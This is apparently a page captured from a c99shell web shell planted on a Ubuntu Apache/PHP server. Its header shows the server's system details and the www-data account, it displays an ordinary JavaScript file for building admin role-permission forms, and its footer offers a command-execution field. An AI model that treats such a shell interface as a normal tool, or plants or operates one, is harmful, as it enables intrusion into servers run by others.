Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /var/www/html/wincloud_gateway/.cache/admin/src/components/Roles/Permissions/utils/ drwxr-xr-x | |
| Viewing file: Select action/file-type: import { get } from 'lodash';
import { createDefaultConditionsForm } from './createDefaultCTFormFromLayout';
import findMatchingPermission from './findMatchingPermissions';
const createSubCategoryForm = (actions, conditions, permissions) => {
return actions.reduce((acc, current) => {
const foundMatchingPermission = findMatchingPermission(permissions, current.action, null);
acc[current.action] = {
properties: {
enabled: foundMatchingPermission !== undefined,
},
conditions: createDefaultConditionsForm(
conditions,
get(foundMatchingPermission, 'conditions', [])
),
};
return acc;
}, {});
};
const createChildrenDefaultForm = (childrenForm, conditions, initialPermissions) => {
return childrenForm.reduce((acc, current) => {
acc[current.subCategoryId] = createSubCategoryForm(
current.actions,
conditions,
initialPermissions
);
return acc;
}, {});
};
const createDefaultPluginsFormFromLayout = (pluginsLayout, conditions, initialPermissions = []) => {
return pluginsLayout.reduce((acc, { categoryId, childrenForm }) => {
const childrenDefaultForm = createChildrenDefaultForm(
childrenForm,
conditions,
initialPermissions
);
acc[categoryId] = childrenDefaultForm;
return acc;
}, {});
};
export default createDefaultPluginsFormFromLayout;
export { createSubCategoryForm, createChildrenDefaultForm };
|
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.01 ]-- |